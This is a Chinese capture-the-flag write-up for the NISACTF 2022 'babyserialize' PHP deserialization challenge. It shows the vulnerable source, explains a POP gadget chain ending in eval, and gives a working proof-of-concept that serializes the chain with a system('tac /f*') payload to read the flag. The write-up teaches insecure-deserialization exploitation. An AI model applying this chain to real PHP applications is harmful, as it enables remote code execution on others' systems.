首页 > 其他分享 >[NISACTF 2022]babyserialize

[NISACTF 2022]babyserialize

时间:2023-08-08 14:24:05浏览次数:34  
标签:__ function huang ext babyserialize 2022 new NISACTF public

非常典型的一道POP链构造

题目源码

 <?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

解题思路

(1)eval反推到__invoke
这里先看到eval,而eval中的变量可控,所以肯定是代码执行,而eval又在__invoke魔术方法中。
__invoke魔术方法是对象被当做函数进行调用的时候所触发
这里就反推看哪里用到了类似$a()这种的。

(2)__invoke反推到__toString
在Ilovetxw类的toString方法中,返回了return $bb;
__ToString方法,是对象被当做字符串的时候进行自动调用
  
(3)__toString反推到__set
在four的__set中,调用了strolower方法。如果不清楚,可以具体看下文档。
  
(4)从__set反推到__call
__set:对不存在或者不可访问的变量进行赋值就自动调用
__call:对不存在的方法或者不可访问的方法进行调用就自动调用
这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推到TianXiWei中的__wakeup
整体流程思路 :

Class NISA -> __invoke()

Class Ilovetxw -> __toString()

Class four -> __set()

Class Ilovetxw -> __call()

Class TianXiWei -> __wakeup()

由于上面的思路是倒推出的,所以编写POC的时候,要反着编写

$a = new TianXiWei();
$a->ext=new Ilovetxw();
$a->ext->huang=new four();
$a->ext->huang->a=new Ilovetxw();
$a->ext->huang->a->su=new NISA();
echo urlencode(serialize($a));

POC

<?php
class NISA{
    public $fun;
    public $txw4ever='SYSTEM("tac /f*");';
}
 
class TianXiWei{
    public $ext;
    public $x;
}
 
class Ilovetxw{
    public $huang;
    public $su;
}
 
class four{
    public $a;
    private $fun;
}
$a=new tianxiwei;
$a->ext=new ilovetxw;
$a->ext->huang=new four;
$a->ext->huang->a=new ilovetxw;
$a->ext->huang->a->su=new nisa;
echo urlencode(serialize($a));

传参得到flag

NSSCTF{3ddbc70a-19d9-4e09-b995-e43809e5b926}

标签:__,function,huang,ext,babyserialize,2022,new,NISACTF,public
From: https://www.cnblogs.com/Tzyyyyy/p/17614029.html

相关文章

  • 安装unity2022后启动工程提示“Unity is running as administrator.”
    问题背景:如题,最近项目更新到unity2022.3.6f1版本,在部分机器发现会不停提示“Unityisrunningasadministrator.”解决方案:同网上大多数方案雷同,采用调整uac安全级别来避免。1.搜索栏直接搜控制面板,或者win+r键入control,打开控制面板界面;2.选中“系统和安全”后,点击“更改用......
  • 2022百度之星初赛第二场
    写在前面参考博客<----课程安排  我们首先要解决的问题是:如何判断课程冲突?首先如果他们在最开始就冲突了,那么就一定冲突最开始即[s%t,f%t]这一段区间,初相位? 然后呢? 不知道 不妨假设一下,如果他们的t不相同,那么就存在......
  • 2022 上海黄浦高三一模英语订正
    I卷除听力订正语法填空第21题,填【动词非谓语】没有问题,前面“thefirststageofsleep”【被称为】……,所以应该填called。第22题,这里没有正确判断句子成分,空后是一句完整的句子,所以这里是一句从句,空格上应该填连词。“合上的眼皮下,眼睛在动”是“change”的【具体内容......
  • 【专题】2022年预制菜行业现状问题、政策标准及趋势分析报告PDF合集分享(附原数据表)
    报告链接:https://tecdat.cn/?p=33388近年来,中国的预制菜行业迅速发展,已成为消费者生活中不可或缺的一部分。研究报告显示,预制菜行业在美国和日本等国家已经发展了很长时间,与中国市场相比,中国的预制菜市场仍有巨大的增长潜力。预制菜行业的蓬勃发展主要受到两个方面的推动:企业端通......
  • 【专题】2022中国预制菜行业蓝皮书 报告PDF合集分享(附原数据表)
    报告链接:https://tecdat.cn/?p=33388近年来,中国的预制菜行业迅速发展,已成为消费者生活中不可或缺的一部分。研究报告显示,预制菜行业在美国和日本等国家已经发展了很长时间,与中国市场相比,中国的预制菜市场仍有巨大的增长潜力。预制菜行业的蓬勃发展主要受到两个方面的推动:企业端通......
  • 【专题】2022年预制菜市场展望-乘风而来,群雄逐鹿 报告PDF合集分享(附原数据表)
    报告链接:https://tecdat.cn/?p=33388近年来,中国的预制菜行业迅速发展,已成为消费者生活中不可或缺的一部分。研究报告显示,预制菜行业在美国和日本等国家已经发展了很长时间,与中国市场相比,中国的预制菜市场仍有巨大的增长潜力。预制菜行业的蓬勃发展主要受到两个方面的推动:企业端通......
  • 【专题】2022年中国预制菜行业发展趋势研究报告PDF合集分享(附原数据表)
    报告链接:https://tecdat.cn/?p=33388近年来,中国的预制菜行业迅速发展,已成为消费者生活中不可或缺的一部分。研究报告显示,预制菜行业在美国和日本等国家已经发展了很长时间,与中国市场相比,中国的预制菜市场仍有巨大的增长潜力。预制菜行业的蓬勃发展主要受到两个方面的推动:企业端通......
  • 【专题】2022年预制菜行业现状与背景研究报告PDF合集分享(附原数据表)
    报告链接:https://tecdat.cn/?p=33388近年来,中国的预制菜行业迅速发展,已成为消费者生活中不可或缺的一部分。研究报告显示,预制菜行业在美国和日本等国家已经发展了很长时间,与中国市场相比,中国的预制菜市场仍有巨大的增长潜力。预制菜行业的蓬勃发展主要受到两个方面的推动:企业端通......
  • 【专题】2022年预制菜市场发展及品牌营销洞察报告PDF合集分享(附原数据表)
    报告链接:https://tecdat.cn/?p=33388近年来,中国的预制菜行业迅速发展,已成为消费者生活中不可或缺的一部分。研究报告显示,预制菜行业在美国和日本等国家已经发展了很长时间,与中国市场相比,中国的预制菜市场仍有巨大的增长潜力。预制菜行业的蓬勃发展主要受到两个方面的推动:企业端通......
  • 【专题】2022年中国预制菜行业发展趋势洞察报告PDF合集分享(附原数据表)
    报告链接:https://tecdat.cn/?p=33388近年来,中国的预制菜行业迅速发展,已成为消费者生活中不可或缺的一部分。研究报告显示,预制菜行业在美国和日本等国家已经发展了很长时间,与中国市场相比,中国的预制菜市场仍有巨大的增长潜力。预制菜行业的蓬勃发展主要受到两个方面的推动:企业端通......